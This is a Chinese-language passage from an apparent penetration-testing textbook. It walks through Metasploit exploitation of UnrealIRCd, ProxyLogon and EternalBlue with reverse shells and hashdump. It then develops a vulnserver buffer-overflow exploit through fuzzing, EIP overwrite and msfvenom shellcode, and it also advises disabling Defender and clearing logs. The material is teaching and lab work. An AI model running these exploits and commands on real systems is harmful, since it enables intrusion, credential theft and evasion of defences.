通常，在通信安全方面，大多数附加网络设备已经到位，但关于 Windows 数字签名证书和服务主体名称（SPN）服务器，目标名称验证是渗透测试人员可以利用的一个重要环节，用于开发自定义漏洞利用程序。我们将在下一章探讨 SPN 的漏洞利用。

审计和日志记录

Windows 可能设置的默认配置控制大多涉及启用系统日志。以下是任何组织可以在事件/取证分析期间利用的信息日志列表：

• 凭证验证

• 计算机账户管理

• 分发组管理

• 其他账户管理级别

• 安全组管理

• 用户账户管理

• 进程创建

• 指令服务访问和更改

• 帐户锁定/注销/登录/特殊登录

• 可移动存储

• 政策变化

• 安全状态变化

这提供了一个清晰的视角，展示了渗透测试人员在我们网络攻击链方法论的漏洞利用阶段之后，必须考虑清除的日志类型。

总结

在本章中，我们深入探讨了克服组织为其内部保护设定的安全控制的系统化过程。我们重点讨论了不同类型的网络接入控制（NAC）绕过机制，如何使用隧道技术建立与外部世界的连接并绕过防火墙，还了解了网络、应用程序和操作系统各个层级的控制，确保我们的漏洞利用能够成功到达目标系统。此外，我们回顾了如何通过 PowerShell 混淆使用 PyFuscation 绕过杀毒软件检测，并探讨了 Veil-Evasion 和 Shellter 框架，用于制作基于文件的漏洞利用。我们还观察到，如何利用 Metasploit 框架轻松绕过 Windows 操作系统的安全控制，例如用户账户控制（UAC）、应用程序白名单和其他特定于 Active Directory 的控制。

在下一章中，我们将研究各种利用系统的手段，包括公开漏洞、漏洞利用框架，如 Metasploit 框架、PowerShell Empire 项目和基于 Windows 的漏洞利用。

第十章：漏洞利用

渗透测试的关键目的是利用数据系统并获取凭证或直接访问感兴趣的数据。正是漏洞利用赋予了渗透测试意义。在本章中，我们将研究利用系统的各种方式，包括公共漏洞和可用的漏洞框架。到本章结束时，你应该能够理解以下内容：

• Metasploit 框架

• 使用 Metasploit 对目标进行漏洞利用

• 使用公共漏洞

• 开发特定于 Windows 的示例漏洞

• Empire PowerShell 框架

Metasploit 框架

Metasploit 框架 (MSF) 是一款开源工具，旨在简化渗透测试。它使用 Ruby 编程语言编写，采用模块化方法来促进在网络杀伤链方法论中的漏洞利用阶段。这使得开发和编写漏洞变得更加容易，同时也使复杂的攻击得以轻松实现。

图 10.1 展示了 MSF 架构及其组件的概述：

图 10.1：Metasploit 架构及其组件

框架可以分为三个主要部分：

• 库

• 接口

• 模块

库

MSF 是通过多种功能、库以及编程语言（如 Ruby）构建的。为了利用这些功能，渗透测试员必须了解这些功能是什么，如何触发它们，应该传递什么参数，以及预期的结果是什么。

所有库都列在 /usr/share/Metasploit-framework/lib/ 文件夹中，如 图 10.2 所示：

图 10.2：Metasploit 库文件夹

REX

REX 是 Metasploit 中的一个库，最初由 Jackob Hanmack 开发，后来由 Rapid 7 开发团队正式化。这个库提供了多种对漏洞开发有用的类。在当前的 MSF 中，REX 处理所有核心功能，如套接字连接、原始函数和其他格式化操作。

框架核心

该库位于 /usr/share/metasploit-framework/lib/msf/core，为所有将要编写的新模块提供基本的 应用程序编程接口 (API)。

框架基础

该库为会话、shell、Meterpreter、VNC 和其他默认 API 提供了良好的 API，但它依赖于框架核心。

MSF 的其他扩展部分包括自定义插件、协议工具、安全工具、Web 服务和其他集成服务。

接口

MSF 以前有多种接口，例如命令行界面、Web 界面等。在最新版本（社区版和专业版）中，Rapid 7 开发团队已经淘汰了所有这些接口。在本章中，我们将探索控制台和 GUI（Armitage）接口。控制台界面是最快的，因为它直接呈现攻击命令，并且提供易于使用的配置参数界面。

要访问这个界面，在命令提示符下输入sudo msfconsole。图 10.3显示了应用程序启动时出现的启动画面：

图 10.3：Metasploit 控制台主菜单

模块

MSF 由模块组成，这些模块组合起来形成一个攻击方式。各模块及其特定功能如下：

• 漏洞利用：针对特定漏洞的代码片段。主动漏洞利用会针对特定目标进行攻击，执行直到完成，然后退出（例如缓冲区溢出）。被动漏洞利用则等待连接的主机，例如 Web 浏览器或 FTP 客户端，当它们连接时进行攻击。

• 有效载荷：这些是紧随成功漏洞利用后执行的恶意代码。

• 辅助模块：这些模块不会在测试者和目标系统之间建立或直接支持访问；相反，它们执行相关的功能，如扫描、模糊测试或嗅探，支持漏洞利用阶段。

• 后期模块：在成功攻击后，这些模块在受控目标上运行，以收集有用数据，并帮助攻击者深入目标网络。在第十一章中，我们将深入学习后期模块，目标行动与横向移动。

• 编码器：当漏洞利用必须绕过防病毒防御时，这些模块会对有效载荷进行编码，使其无法通过签名匹配技术被检测到。

• 无操作（NOPs）：这些用于攻击时促进缓冲区溢出。

这些模块一起使用，用于进行侦察并对目标发起攻击。利用 MSF 利用目标系统的步骤可以总结如下：

1. 选择并配置漏洞利用（针对目标系统中某一特定漏洞的代码）。

2. 检查目标系统，以确定它是否容易受到该漏洞的攻击。此步骤是可选的，通常为了减少被检测的风险会省略。

3. 选择并配置有效载荷（在成功利用后将在目标系统上执行的代码；例如，从受控系统到源系统的反向 Shell）。

4. 选择一种编码技术，以绕过检测控制（例如 IDS/IPs 或防病毒软件）。

5. 执行漏洞利用。

数据库设置与配置

设置 Metasploit 的新版本相对简单，因为从msf3版本开始，Metasploit 不再作为服务运行：

1. 通过在终端中运行 sudo systemctl start postgresql.service 启动 PostgreSQL。

2. 通过运行 sudo msfdb init 来初始化 Metasploit 数据库。除非是第一次操作，否则初始化将创建 msf 数据库、创建角色，并将 msf_test 和 msf 数据库添加到 /usr/share/metasploit-framework/config/database.yml 配置文件中；如果不是第一次，默认情况下，msf 数据库将在 Kali Linux 的预构建环境中创建，如 图 10.4 所示：

   图 10.4：初始化 Metasploit 数据库

3. 现在，你已经准备好访问 msfconsole。

4. 进入控制台后，你可以通过输入 db_status 来验证数据库的状态。你应该能够看到以下内容：

   msf6 > db_status 
   [*] Connected to msf. Connection type: postgresql. 
   

5. 如果有多个目标，且这些目标属于不同的公司单位，或可能是两个不同的公司，最好在 Metasploit 中创建一个工作区。这可以通过在 msfconsole 中运行 workspace 命令来实现。以下摘录显示了帮助菜单，在这里你可以添加/删除工作区，以便组织这些漏洞利用，从而实现你的目标：

   msf6 > workspace -h
   Usage:
       workspace                  List workspaces
       workspace -v               List workspaces verbosely
       workspace [name]           Switch workspace
       workspace -a [name] ...    Add workspace(s)
       workspace -d [name] ...    Delete workspace(s)
       workspace -D               Delete all workspaces
       workspace -r <old> <new>   Rename workspace
       workspace -h               Show this help information
   msf6 > workspace -a Fourthedition
   [*] Added workspace: Fourthedition
   [*] Workspace: Fourthedition
   msf6 > workspace
     default
   * Fourthedition 
   

以下示例表示针对目标基于 Linux 的操作系统进行的简单 Unreal IRCD 攻击。安装为虚拟机后（如 第一章、基于目标的渗透测试 中所述），运行在 10.10.10.8 上的 Metasploitable3 Ubuntu 可以通过 db_nmap 命令扫描，该命令识别开放端口和关联应用程序。db_nmap 扫描的摘录如 图 10.5 所示：

msf6 > db_nmap -vv -sC -Pn -p- 10.10.10.8 --save 

图 10.5：在 Metasploit 中运行 db_nmap 扫描

使用 --save 选项时，扫描结果的所有输出将保存在 /root/.msf4/local/ 文件夹中。在前面的示例中，通过 nmap 已识别了几个应用程序。

如果扫描是单独使用 nmap 完成的，这些结果也可以通过 db_import 命令导入到 Metasploit 中。nmap 输出通常会产生三种类型的输出，分别是 xml、nmap 和 gnmap。

.xml 格式可以通过 Nmap 的 nokogiri 解析器导入到数据库中。导入结果后，在处理大型 nmap 数据集时，可以利用多种选项：

图 10.6：将独立的 Nmap 扫描导入 Metasploit

作为测试人员，我们应该检查每个目标是否存在已知的漏洞。如果我们在 msfconsole 中运行 services 命令，数据库应包括主机及其列出的服务，如 图 10.7 所示：

图 10.7：列出 Metasploit 中的所有服务

开始的一个重要地方是 Metasploit 自带的漏洞集合。可以通过以下命令从命令行进行搜索：

msf> search UnrealIRCd 

搜索返回了针对 UnrealIRCd 服务的特定漏洞。图 10.8 显示了可用漏洞的摘录。如果测试人员选择利用任何其他列出的服务，他们可以在 Metasploit 中搜索关键字：

图 10.8：在 Metasploit 控制台中进行关键字搜索以查找漏洞

新版本的 Metasploit 索引了模块，并允许测试人员仅通过输入索引中的数字来使用它。由于 exploit/unix/irc/unreal_ircd_3281_backdoor 漏洞被评为优秀，因此在本示例的其余部分中选择了此漏洞。此排名由 Metasploit 开发团队确定，标识该漏洞对于经验丰富的测试人员在稳定的目标系统上工作的可靠性。在现实中，多个变量（测试人员的技能、网络中的保护设备、操作系统和托管应用程序的修改）可能会共同作用，显著改变漏洞的可靠性。

使用以下 info 命令获得了有关该漏洞的更多信息：

msf> info 0 

返回的信息包括参考资料以及在图 10.9中显示的信息：

图 10.9：使用 info 命令获取漏洞的详细信息

要指示 Metasploit 使用此漏洞进行攻击，我们发出以下命令：

Msf6> use exploit/unix/irc/unreal_ircd_3281_backdoor 

Metasploit 将命令提示符从 msf> 更改为 msf exploit(unix/irc/unreal_ircd_3281_backdoor) >。

Metasploit 提示测试人员选择有效载荷（从受损系统到攻击者的反向 shell）并设置其他变量，列举如下：

• 远程主机 (RHOST)：这是被攻击系统的 IP 地址。

• 远程端口 (RPORT)：这是用于漏洞利用的端口号。在此案例中，我们可以看到该服务已在默认端口 6667 上被利用，但在我们的情况下，同样的服务运行在端口 6697 上。

• 本地主机 (LHOST)：这是用于发起攻击的系统的 IP 地址。

在所有变量都设置好之后，通过在 Metasploit 提示符下输入 exploit 命令来发起攻击。Metasploit 启动攻击并确认 Kali Linux 与目标系统之间的反向 shell 已经打开。在其他漏洞中，成功的漏洞利用通过使用 command shell 1 opened 来表示，并给出发起和终止反向 shell 的 IP 地址。

为了验证是否存在 shell，测试人员可以查询主机名、用户名（uname -a）和 whoami，以确认返回的结果是特定于位于远程位置的目标系统。请查看 图 10.10：

图 10.10：使用 Metasploit 通过反向 shell 成功利用 UnrealIRC

此漏洞可以通过使用后渗透模块进一步探索。通过按 Ctrl + Z 在后台运行 Meterpreter。你应当收到 Background session 1? [y/N] y enter y。

当系统被攻击到这种程度时，便可以进行后续的利用活动（参见 第十一章，目标行动与横向移动，以及 第十三章，命令与控制，了解如何提升权限并保持对系统的访问）。

利用 MSF 攻击目标

MSF 对操作系统的漏洞和第三方应用程序的漏洞同样有效。我们将举例说明这两种情况。

使用简单反向 shell 的单一目标

在这个例子中，我们将利用两个不同的漏洞。第一个是著名的 ProxyLogon 漏洞，该漏洞被 Hafnium 威胁组织滥用，利用 Microsoft Exchange Server 在 2021 年 3 月发起攻击，造成了互联网风暴，并引发了全球范围内的多个网络安全事件和金融欺诈。主要被利用的四个漏洞是：

• CVE-2021-26855：服务器端请求伪造（SSRF） – 攻击者可以远程提交特制的 HTTP 请求，且无需身份验证，服务器接受来自 TCP 端口 443 的不信任连接。

• CVE-2021-26857 – 微软 Exchange 统一消息服务（UMS）中的不安全反序列化漏洞，允许攻击者以高权限的 SYSTEM 账户运行恶意代码。此漏洞可以通过 SSRF 或被窃取的凭证进行利用。

• CVE-2021-26858 和 CVE-2021-27065 – 这两个漏洞都涉及到任意文件写入漏洞，允许将文件写入指定目录。

在以下示例中，我们将演示如何结合利用 CVE-2021-26855 绕过身份验证并冒充管理员账户，以及利用 CVE-2021-27065 写入任意文件并通过载荷提供远程代码执行权限。

作为第一步，攻击者需要确保目标上的 Microsoft Exchange Server 是暴露的，并枚举出所有电子邮件地址，以执行成功的攻击。测试者可以利用 Python ProxyShell 枚举脚本列出所有连接到 Exchange 服务器的用户。此脚本可以在github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E/blob/main/Chapter%2010/ProxyShell-enumerate.py上找到。

攻击者可以运行python3 proxyshell-enumerate.py –u <Exchange server IP>。该脚本在目标上的输出应该会显示 Exchange 服务器中的所有电子邮件地址，如在图 10.11中所示：

图 10.11：Exchange 服务器上用户电子邮件地址的枚举

要启动此攻击，第一步是通过运行以下命令来打开 MSF，如图 10.12所示：

sudo msfconsole 
search proxylogon
use exploit/windows/http/exchange_proxylogon_rce
set payload windows/meterpreter/reverse_https
set rhosts <your Exchange server IP>
set email <administrator email id>
set lhost <Your Kali IP>
set lport <You kali port> 

图 10.12：在 Exchange 漏洞上运行利用代码

如果出现任何错误消息，或者利用攻击完成后没有 Meterpreter Shell，确保通过在 PowerShell 中以管理员身份运行Set-MpPreference -DisableRealtimeMonitoring $true来禁用 Microsoft Exchange Server 中的 Defender。

成功的漏洞利用会导致在高权限的 SYSTEM 用户上下文中执行任意代码。成功执行代码后，你应该能获得在图 10.13中显示的 Meterpreter Shell：

图 10.13：成功的漏洞利用导致 Meterpreter HTTPS 反向 Shell

当利用漏洞成功完成后，它应该会在两个系统之间打开 Meterpreter 反向 Shell。Meterpreter 提示符会打开，测试者可以有效地通过命令行 Shell 访问远程系统。攻击成功后的第一步之一是验证你是否已经进入目标系统。正如在图 10.14中所示，sysinfo命令能够识别计算机名和操作系统，验证攻击是否成功：

图 10.14：被攻陷服务器的系统信息

我们将在本节中探索的第二个漏洞是 MS070-10，它通过利用 EternalBlue 漏洞在 2017 年 4 月引发了全球范围的 WannaCry 勒索病毒。该漏洞存在于 Windows 中 SMB 版本的实现方式，具体来说，是 SMBv1 和通过 TCP 端口445及端口139传输 NBT 的方式——这用于安全地共享数据。

成功的利用会导致攻击者能够在远程系统上运行任意代码。尽管这个漏洞较为陈旧，但许多组织仍然不得不依赖一些遗留系统。这可能是由于各种原因，如 OEM 依赖性，或是业务本身无法摆脱旧系统，比如 Windows XP、7、2003、Windows 2008 和 Windows 2008 R2。为了展示如何轻松利用这些遗留系统，我们将利用 Metasploitable3（运行在10.10.10.4）进行该漏洞利用，通过在 Kali 终端中设置以下内容：

sudo msfconsole 
search eternal
use exploit/windows/smb/ms17_010_eternalblue 
set payload windows/meterpreter/reverse_https
set rhosts <your Exchange server IP>
set lhost <Your Kali IP>
set lport <You kali port> 

图 10.15：使用 Metasploit 利用 EternalBlue 漏洞

最后，漏洞利用应该为我们提供类似于之前漏洞利用中看到的 Meterpreter Shell。hashdump命令应该显示所有用户名和密码哈希值，如图 10.16所示：

图 10.16：在 Meterpreter 中使用 hashdump 提取用户名和哈希值

此外，为了存储这些信息以增强网络中的横向移动，测试人员可以在msfconsole中利用incognito和kiwi模块。

使用 MSF 资源文件利用多个目标

MSF 资源文件基本上是按行分隔的文本文件，其中包含需要在msfconsole中执行的一系列命令。让我们创建一个资源文件，该文件可以在多个主机上利用相同的漏洞：

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhost xx.xx.xx.xx
set lhost xx.xx.xx.xx
set lport 4444
exploit -j
use exploit/windows/http/exchange_proxylogon_rce
set payload windows/meterpreter/reverse_https
set rhost xx.xx.xx.xx
set lhost xx.xx.xx.xx
set lport 443
exploit -j 

将文件保存为multiexploit.rc。现在，您可以通过运行msfconsole -r filename.rc来调用资源文件，其中-r表示资源文件。上述资源文件将按顺序利用相同的漏洞。一旦第一个漏洞利用完成，指定exploit -j将把正在运行的漏洞利用转移到后台，允许下一个漏洞利用继续。一旦所有目标的漏洞利用完成，我们应该能够在 Metasploit 中看到多个 Meterpreter Shell。

如果漏洞利用设计仅在单个主机上运行，可能无法在漏洞利用中输入多个主机或 IP 范围。然而，替代方法是对每个主机使用不同的端口号运行相同的漏洞利用。我们将在下一章详细讨论在提升权限时可以利用的现有 MSF 资源文件。

使用公共漏洞

每个攻击者都始终在寻找公共漏洞，并根据自己的需求修改它们。最近的一个漏洞利用是在 2021 年 8 月 6 日发布的 ProxyLogon 漏洞，它震惊了大多数运行本地 Exchange 服务器的公司，这些服务器承载了所有关键业务邮件，进而提高了对信息窃取恶意软件的认识。然而，在本节中，我们将深入探讨如何利用已知的可用漏洞论坛，以及如何将它们整合到我们的 Kali Linux 系统中。

定位并验证公开可用的漏洞

渗透测试人员在测试过程中经常发现零日漏洞，通常会通知公司。然而，对于真正的攻击者来说，发现的任何漏洞都会被制作成漏洞利用工具，然后卖给像 VUPEN 这样的公司，以获取金钱或名声。渗透测试的一个重要方面是寻找互联网上公开可用的漏洞并提供概念验证。

最初的漏洞数据库诞生于互联网上，名为 Milw0rm。基于相同的概念，我们可以看到多个类似的数据库，渗透测试社区可以利用它们。以下是攻击者主要查找漏洞的地方列表：

• Exploit-DB（EDB）：顾名思义，它是一个包含互联网上公共漏洞的数据库档案，并列出了易受攻击的软件版本。EDB 由漏洞研究人员和渗透测试人员开发，旨在服务于社区。

  渗透测试人员通常将 Exploit-DB 作为概念验证工具，而非咨询工具，这使得它在渗透测试或红队演习中更具价值：

  • EDB 被嵌入到 Kali Linux 2.0 中，作为构建版本的一部分，使得通过 SearchSploit 搜索所有可用漏洞变得相对简单。EDB 的优势在于它还兼容常见漏洞和暴露（CVEs）。在适用的情况下，漏洞将包括 CVE 详细信息。

• SearchSploit： SearchSploit 是 Kali Linux 中的一个简单工具，用于通过关键词搜索 EDB 中的所有漏洞，从而缩小攻击范围。打开终端并输入searchsploit exchange windows remote后，您应该能够看到以下内容：

  图 10.17：从 searchsploit 搜索自定义漏洞

编译并使用漏洞

攻击者将收集所有相关的漏洞，发布并汇编它们，然后准备好作为武器来利用目标。在本节中，我们将深入探讨如何汇编不同类型的文件，并添加所有以msfcore为 Metasploit 模块基础的用 Ruby 编写的漏洞。

编译 C 文件并执行漏洞

旧版本的漏洞通常是用 C 语言编写的，特别是缓冲区溢出攻击。让我们看看从 EDB 编译 C 文件并为易受攻击的 Apache 服务器制作漏洞的一个例子。

攻击者可以利用 GNU 编译器集合将 C 文件编译成可执行文件，使用以下命令：

cp /usr/share/exploitdb/exploits/windows/remote/3996.c apache.c
gcc apache.c -o apache
./apache 

一旦文件成功编译且没有任何错误或警告，攻击者应该能够看到漏洞正在运行，如图 10.18所示：

图 10.18：编译 C 文件并从 EDB 运行

添加使用 MSF 作为基础编写的漏洞

根据平台和运行的漏洞类型，可以直接从浏览器或从/usr/share/exploitdb/exploits/复制漏洞文件/脚本。

在这个示例中，我们将使用/usr/share/exploitdb/exploits/windows/remote/16756.rb。

将 Ruby 脚本作为定制漏洞添加到 Metasploit 模块，将文件移动或复制到/usr/share/metasploit-framework/modules/exploits/windows/http/，并将文件命名为NewExploit.rb：

sudo cp /usr/share/exploitdb/exploits/windows/remote/16756.rb /usr/share/metasploit-framework/modules/exploits/windows/http/NewExploit.rb 

一旦文件被复制或移动到新的位置，必须重新启动msfconsole，以确保文件已被加载到 Metasploit 中的可用模块中。你将能够使用你设置的自定义名称，作为 Metasploit 可用模块的一部分：

图 10.19：将定制漏洞从 EDB 添加到 Metasploit 框架

这就结束了将 EDB 中的现有漏洞添加到 Metasploit 的过程。我们将在下一节中探讨编写我们自己的定制漏洞。

开发 Windows 漏洞

漏洞开发是一项艰难的艺术，要求攻击者对汇编语言和底层系统架构有一定的理解。我们可以利用以下五阶段方法来开发一个定制漏洞：

图 10.20：五阶段定制漏洞开发

在本节中，我们将介绍开发 Windows 漏洞所需的一些基础知识，通过构建一个易受攻击的应用程序。从漏洞开发的角度来看，渗透测试人员在开发漏洞时必须了解以下基本术语：

• 寄存器：所有进程通过寄存器执行；这些寄存器用于存储信息。

• x86：这包括大多数基于 Intel 的 32 位系统；64 位系统表示为 x64。

• 汇编语言：这包括低级编程语言。

• 缓冲区：这是程序中一个静态的内存存储器，用于在栈或堆上存储数据。

• 调试器：调试器是可以在程序执行时查看程序运行状态的工具。你还可以使用它们查看寄存器和内存的状态。我们将使用的一些工具包括 Immunity Debugger、GDB 和 OllyDbg。

• ShellCode：这是攻击者在成功利用过程中创建的代码。

以下是不同类型的寄存器：

• EAX：这是一个 32 位寄存器，用作累加器并存储数据和操作数。

• EBX：这是一个 32 位基寄存器，作为数据的指针。

• ECX：这是一个 32 位寄存器，用于循环目的。

• EDX：这是一个 32 位数据寄存器，用于存储 I/O 指针。

• ESI/EDI：这两个是 32 位索引寄存器，作为所有内存操作的数据指针。

• EBP：这是一个 32 位的堆栈数据指针寄存器。

• 扩展指令指针 (EIP): 这是一个 32 位的程序计数器/指令指针，用于保存下一条待执行的指令。

• 扩展堆栈指针 (ESP): 这是一个 32 位堆栈指针寄存器，精确地指向堆栈所在的位置。

• SS、DS、ES、CS、FS 和 GS: 这些是 16 位的段寄存器。

• NOP: 这是空操作的缩写。

• JMP: 这是跳转指令的缩写。

通过模糊测试识别漏洞

攻击者必须能够识别任何给定应用程序中的正确模糊测试参数，以找到漏洞并加以利用。在本节中，我们将通过 Stephen Bradshaw 创建的易受攻击的服务器示例进行讲解。

该易受攻击的软件可以从github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E/tree/main/Chapter%2010/下载

在本例中，我们将使用 Windows 10 来托管易受攻击的服务器。一旦下载完应用程序，我们将解压文件并运行服务器。

这将为远程客户端打开9999端口以进行连接。当易受攻击的服务器启动并运行时，你应该能看到如下内容：

图 10.21：Windows 10 上运行的易受攻击服务器

攻击者可以通过netcat连接到9999端口的服务器，从 Kali Linux 与服务器进行通信，如图 10.22所示：

图 10.22：从 Kali Linux 连接到易受攻击的服务器

Fuzzing（模糊测试）是一种技术，攻击者专门向目标发送格式错误的数据包，以产生应用程序错误或一般性故障。这些故障指示应用程序开发者编写的代码中存在漏洞。

攻击者可以通过运行他们自己的代码，找出如何利用该漏洞来实现远程访问。现在，应用程序已可访问，一切准备就绪，攻击者可以开始模糊测试的工作。

尽管有许多模糊测试工具可供选择，但 SPIKE 是 Kali Linux 上默认安装的工具之一。SPIKE 是一个模糊测试工具包，它通过提供脚本编写功能来创建模糊测试工具；然而，它是用 C 语言编写的。以下是可以在 SPIKE 中使用的解释器列表：

• generic_chunked

• generic_send_tcp

• generic_send_udp

• generic_web_server_fuzz

• generic_web_server_fuzz2

• generic_listen_tcp

SPIKE 允许你添加自己的脚本集，而无需用 C 语言编写几百行代码。攻击者还可以考虑使用其他模糊测试工具，如 Peach Fuzzer、BooFuzz 和 FilFuzz。

一旦攻击者连接到目标应用程序，他们应该能够在易受攻击的服务器中看到多个可用选项，然后可以进行操作。这包括STATS、RTIME、LTIME、SRUN、TRUN、GMON、GDOG、KSTET、GTER、HTER、LTER和KSTAN等有效命令的一部分，这些命令需要输入。我们将使用generic_send_tcp解释器来对应用程序进行模糊测试。使用该解释器的格式如下：. /generic_send_tcp 主机 端口 spike_script SKIPVAR SKIPSTR：

• host：这是目标主机或 IP 地址。

• port：这是要连接的端口号。

• spike_script：这是要在解释器中运行的 SPIKE 脚本。

• SKIPVAR和SKIPSTR：这使得测试人员可以在模糊测试会话的中间跳入，如 SPIKE 脚本中所定义。

作为下一关键步骤，让我们继续创建一个简单的 SPIKE 脚本来进行readline，运行SRUN，并将字符串值作为参数传递：

s_readline(); 
s_string("SRUN |"); 
s_string_variable("VALUE"); 

脚本将在连接到 IP/主机名后读取输入的第一行（s_readline），然后运行SRUN，并生成一个随机值。注意，要运行 SPIKE 脚本，必须将其保存为.spk文件格式。现在，让我们将上述三行保存为exploitfuzzer.spk文件，并如图 10.23所示，对目标运行 SPIKE 脚本：

图 10.23：使用 SRUN 对易受攻击的服务器进行模糊测试

在对应用程序进行模糊测试后，确认没有服务器崩溃或类似问题，因此SRUN参数并不容易受攻击。接下来的步骤是选择另一个参数。这次我们将选择TRUN作为参数，在相同脚本中进行模糊测试：

s_readline(); 
s_string("TRUN |"); 
s_string_variable("VALUE"); 

保存exploitfuzz.spk文件并运行相同的命令，如图 10.24所示：

图 10.24：使用 TRUN 对易受攻击的服务器进行模糊测试

使用 TRUN 对应用程序进行模糊测试导致应用程序崩溃，因此现在我们可以确认此功能可以被滥用和利用。作为下一关键步骤，我们必须调试并以更详细的方式复制崩溃。

调试并复制崩溃

在服务器端，我们必须调试应用程序。为了进行调试，我们将从www.immunityinc.com/products/debugger/下载 Immunity Debugger。该调试器主要用于查找漏洞、分析恶意软件和逆向工程任何二进制文件。在运行vulnserver.exe后，可以将易受攻击的服务器作为进程附加到调试器中，或者直接通过调试器可执行并打开，如图 10.25所示：

图 10.25：使用 Immunity Debugger 加载 vulnserver

一旦应用程序通过调试器运行，并且我们的 Kali Linux 系统中运行了模糊测试脚本，如图 10.25所示，您应该能够看到服务器在受害者的计算机上崩溃。

调试器还为我们提供了一些有用的信息，如异常偏移量 41414141，我们可以在 Immunity Debugger 中的 Registers 部分记下它（转换为 AAAA），如 图 10.26 所示：

图 10.26：因模糊测试导致 vulnserver 崩溃后的寄存器信息

为了成功进行给定应用程序的缓冲区溢出攻击，涉及以下步骤：

1. 寻找正确的尖峰长度

2. 模糊测试正确的模式

3. 寻找偏移量

4. 覆盖 EIP

5. 寻找 JMP ESP 操作的正确地址

6. 检查坏字符并放置 NOPS sled

7. 生成 shellcode

8. 设置监听器并进行利用

第一步是准确找出导致服务器崩溃的字符数量，以及可以利用的缓冲区大小。我们将开始调试崩溃的应用程序，查看 Registers（寄存器）部分中的 ESP 地址，在 Immunity Debugger 中右键点击并选择 Follow in Dump，查看有效载荷最初是如何插入的，并记下内存地址 00ACF1F0，如 图 10.27 所示：

图 10.27：模糊测试开始时的初始内存

如果我们一直遍历到模糊测试 AAA 停止的地方，你会看到 00ACFD98，如 图 10.28 所示。请注意，这些地址会根据你在调试或反汇编可执行文件时使用的操作系统发生变化。

图 10.28：模糊测试内存地址的结束

现在我们有了开始和结束地址，接下来让我们使用 python3 通过在终端运行 python3，并简单地输入 0x00ACFD98（内存地址的结束位置）和 0x00ACF1F0（内存地址的起始位置），如下所示。它应该会给我们提供缓冲区的长度：

─# python3                                                            
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x00ACFD98 - 0x00ACF1F0
2984 

在这种情况下，我们有一个 2984 的缓冲区长度。下一步是控制我们利用代码的执行。

控制应用程序的执行

我们现在已经知道了缓冲区的长度。下一步是找到正确的偏移量来控制 EIP。让我们编写一个快速的 Python 脚本，通过精确的长度连接到脆弱的服务器，这个长度会使服务器崩溃，保存文件为 crash.py，并在目标 IP 上运行：

import socket
s = socket.socket()
s.connect(("10.10.10.4",9999))
leng = 2984
payload = [b"TRUN /.:/",b"A"*leng]
payload = b"".join(payload)
s.send(payload)
s.close() 

下一步是使用 MSF 创建一个模式，通过定位到 /usr/share/etasploit-framework/tools/exploit/ 文件夹，并在 Kali Linux 终端中运行 ./pattern_create -l 2984。

你可以将生成的内容输出到文件中，也可以从终端复制它。或者，你可以通过在 Python 程序中添加另一个变量来使用它。这次我们将禁用缓冲区，并使用由攻击工具生成的长度为 2984 的模式：

import socket
s = socket.socket()
s.connect(("10.10.10.4",9999))
leng = 2984
payload = [b"TRUN /.:/",b"<PAYLOAD FROM PATTERNCREATE>"]
payload = b"".join(payload)
s.send(payload)
s.close() 

同样，运行crash.py对目标进行攻击将导致服务器再次崩溃。然而，所有的A字符都被创建的模式替换了。在易受攻击的服务器上，我们应该能够看到 Immunity Debugger 中的寄存器，它提供了将存储在EIP中的下一条指令，如图 10.29所示：

图 10.29：注入模式后的应用程序 EIP

这是与下一个 EIP 386F4337进行模糊测试的结束。要创建一个特定于 Windows 的漏洞利用，我们必须识别 EIP 的正确偏移量。可以使用像pattern_offset这样的漏洞利用工具提取该偏移量，pattern_offset接受 EIP 输入，并且输入长度与创建模式时使用的长度相同。

cd /usr/share/etasploit-framework/tools/exploit/
sudo ./pattern_offset.rb -q 0x386F4337 –l 2984
[*] Exact match at offset 2003 

这意味着在使用 EIP 创建的模式中找到了偏移匹配。现在，我们知道缓冲区2003足以使服务器崩溃，我们可以开始溢出，并查看是否能够覆盖 EIP：

import socket
s = socket.socket()
s.connect(("10.10.10.4",9999))
leng = 2984
offset = 2003
eip = b"BBBB"
payload = [b"TRUN /.:/",b"A"*offset,eip,b"C"*(leng – offset -len(eip))]
payload = b"".join(payload)
s.send(payload)
s.close() 

在 Kali Linux 中执行前面的 Python 代码后，您应该看到我们覆盖的 EIP。如果一切正确，您应该在服务器端看到 EIP 为42424242，并在 Immunity 调试器中显示：

图 10.30：成功覆盖 EIP 地址

识别正确的坏字符并生成 shellcode

我们的下一个任务是识别 JMP ESP 的地址，因为我们的有效载荷将被加载到 ESP 寄存器中。为此，我们将使用mona.py脚本，这是一个 Python 工具，可以加速在开发漏洞利用时的搜索。这个工具可以直接从github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E/blob/main/Chapter%2010/mona.py下载。

下载 Python 脚本后，应将其放置在 Immunity Debugger 安装位置的PyCommands文件夹中（c:\program files(x86)\Immunity Inc\Immunity Debugger\Pycommands\）。将mona.py脚本放入 PyCommands 后，测试人员需要重新打开 Immunity Debugger 并在 Immunity 终端中运行!mona jmp –r esp。这应该会显示 JMP ESP。在我们的例子中，它是0x62501203，如图 10.31所示：

图 10.31：运行 mona 以识别 JMP ESP 地址

如果 mona 的显示消失了，只需在 Immunity Debugger 的相同终端中执行!mona help即可将屏幕恢复过来。现在我们已经准备好创建有效载荷。

您可以使用 mona 来识别坏字符。测试人员可以利用任何公开的资料，寻找更多漏洞利用的方式。这个话题本身值得出一本书。

要在 mona 中创建默认的字节数组，可以使用!mona bytearray，这将生成两个名为bytearray.txt和bytearray.bin的文件，其中包含所有的坏字符。

我们将继续使用 msfvenom 创建一个 Windows 载荷，将 '\x00' 作为一个坏字符，通过在终端中运行以下命令来实现。这将生成一个 shellcode，提供一个反向 Meterpreter shell，连接到攻击者的 IP 地址：

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<Kali IP> lport=<portnumber> -e x86/shikata_ga_nai -b '\x00' -f python 

获取 shell

最后，我们进入创建完整漏洞利用的最后阶段——我们只需要添加一个 NOP sled，然后溢出缓冲区并将我们的 shellcode 写入运行易受攻击应用程序服务器的系统。以下代码片段是利用易受攻击的服务器进行攻击的完整 Python 代码：

import socket
import struct
s = socket.socket()
